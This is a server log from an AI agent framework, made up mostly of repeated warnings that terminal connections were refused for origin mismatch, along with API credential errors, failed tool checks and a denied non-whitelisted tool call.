peer=127.0.0.1 2026-07-20 10:12:26,942 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:12:31,878 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:12:35,256 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-07-20 10:12:36,501 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:12:36,664 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-07-20 10:12:41,492 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:12:46,569 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:12:51,745 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:12:56,562 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:13:01,789 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:13:06,629 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:13:12,657 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:13:17,798 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:13:22,644 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:13:28,212 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:13:34,714 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 1/3) error_type=APIConnectionError thread=hermes-gateway_2:135522785650368 provider=custom base_url=http://localhost:20128/v1 model=default summary=Connection error. 2026-07-20 10:13:34,716 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: Retrying API call in 2.887701382140909s (attempt 1/3) thread=hermes-gateway_2:135522785650368 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Connection error. 2026-07-20 10:13:37,433 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:13:42,390 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:13:47,532 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:13:52,517 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:13:57,554 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:14:02,759 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:14:06,818 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:14:11,691 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:14:16,625 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:14:21,677 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:14:26,513 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:14:33,022 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:14:39,534 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:14:44,496 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:14:48,848 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:14:53,630 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:14:58,017 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:15:03,877 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:15:08,800 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:15:12,998 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:15:18,074 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:15:23,856 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:15:28,848 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:15:34,570 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:15:39,643 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:15:44,455 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:15:48,875 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:15:53,514 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:15:58,395 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:16:03,526 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:16:08,381 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:16:13,484 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:16:18,665 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:16:23,473 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:16:28,456 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:16:33,414 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:16:38,465 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:16:40,973 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool execute_code returned error (0.16s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_xtr9ee6x/script.py\", line 16, in \n data=json.dumps(payload).encode('utf-8 2026-07-20 10:16:44,164 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:16:49,733 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:16:54,614 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:16:59,620 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:17:04,217 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:17:09,720 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:17:14,686 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:17:19,588 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:17:24,830 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:17:29,464 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:17:34,643 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:17:36,810 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-07-20 10:17:36,835 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-07-20 10:17:36,856 WARNING tools.registry: check_fn check_close_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-20 10:17:36,860 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-07-20 10:17:36,981 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-07-20 10:17:36,986 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-07-20 10:17:37,013 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-07-20 10:17:37,015 WARNING tools.registry: check_fn check_read_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-20 10:17:38,705 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:17:43,517 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:17:49,207 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:17:54,584 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:17:59,599 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:18:03,785 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:18:08,515 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:18:13,461 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:18:18,465 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:18:23,667 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:18:27,802 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool patch returned error (0.00s): {"error": "Background review denied non-whitelisted tool: patch. Only memory/skill tools are allowed."} 2026-07-20 10:18:28,505 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:18:33,531 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:18:38,451 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:18:43,680 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:18:49,229 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:18:54,498 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:18:58,733 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:19:03,743 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:19:08,695 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:19:13,575 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:19:18,442 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:19:23,579 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:19:28,639 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:19:34,419 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:19:39,393 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:19:44,536 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:19:49,426 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:19:54,488 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:19:59,412 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:20:04,783 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:20:09,373 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:20:14,496 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:20:19,550 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:20:24,521 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:20:29,379 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:20:34,472 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:20:38,763 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:20:43,516 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:20:48,437 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:20:53,611 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:20:58,512 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:21:03,515 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:21:08,553 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:21:13,565 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:21:18,540 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:21:23,519 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:21:28,485 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:21:33,556 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:21:34,720 WARNING [20260710_094439_1cb443b1] agent.context_compressor: Failed to generate context summary: Error code: 404 - {'error': {'message': 'No active credentials for provider: openai', 'type': 'invalid_request_error', 'code': 'model_not_found'}}. Further summary attempts paused for 60 seconds. 2026-07-20 10:21:35,708 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 1/3) error_type=NotFoundError thread=hermes-gateway_1:135523347699392 provider=custom base_url=http://localhost:20128/v1 model=openai/qwen3.5-omni-plus summary=HTTP 404: No active credentials for provider: openai 2026-07-20 10:21:36,015 ERROR [20260710_094439_1cb443b1] agent.conversation_loop: Non-retryable client error: Error code: 404 - {'error': {'message': 'No active credentials for provider: openai', 'type': 'invalid_request_error', 'code': 'model_not_found'}} 2026-07-20 10:21:38,501 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:21:43,550 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:21:48,406 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:21:52,768 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:21:57,489 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:22:02,518 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:22:06,706 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:22:11,594 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:22:16,502 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:22:19,081 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 1/3) error_type=NotFoundError thread=hermes-gateway_2:135522785650368 provider=custom base_url=http://localhost:20128/v1 model=openai/qwen3.5-omni-plus summary=HTTP 404: No active credentials for provider: openai 2026-07-20 10:22:19,432 ERROR [20260710_094439_1cb443b1] agent.conversation_loop: Non-retryable client error: Error code: 404 - {'error': {'message': 'No active credentials for provider: openai', 'type': 'invalid_request_error', 'code': 'model_not_found'}} 2026-07-20 10:22:21,445 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:22:26,456 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:22:31,543 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:22:35,859 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:22:40,468 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:22:45,466 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:22:50,594 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:22:55,666 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:23:00,291 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:23:04,719 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:23:09,405 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:23:14,383 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:23:19,527 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:23:24,530 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:23:29,437 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:23:30,549 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 1/3) error_type=NotFoundError thread=hermes-gateway_1:135523347699392 provider=custom base_url=http://localhost:20128/v1 model=openai/qwen3.5-omni-plus summary=HTTP 404: No active credentials for provider: openai 2026-07-20 10:23:30,826 ERROR [20260710_094439_1cb443b1] agent.conversation_loop: Non-retryable client error: Error code: 404 - {'error': {'message': 'No active credentials for provider: openai', 'type': 'invalid_request_error', 'code': 'model_not_found'}} 2026-07-20 10:23:34,457 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:23:39,522 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:23:43,742 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:23:48,589 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:23:53,527 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:23:58,681 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:24:03,761 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:24:08,469 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:24:13,416 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:24:18,634 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:24:22,820 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:24:27,641 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:24:31,821 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net 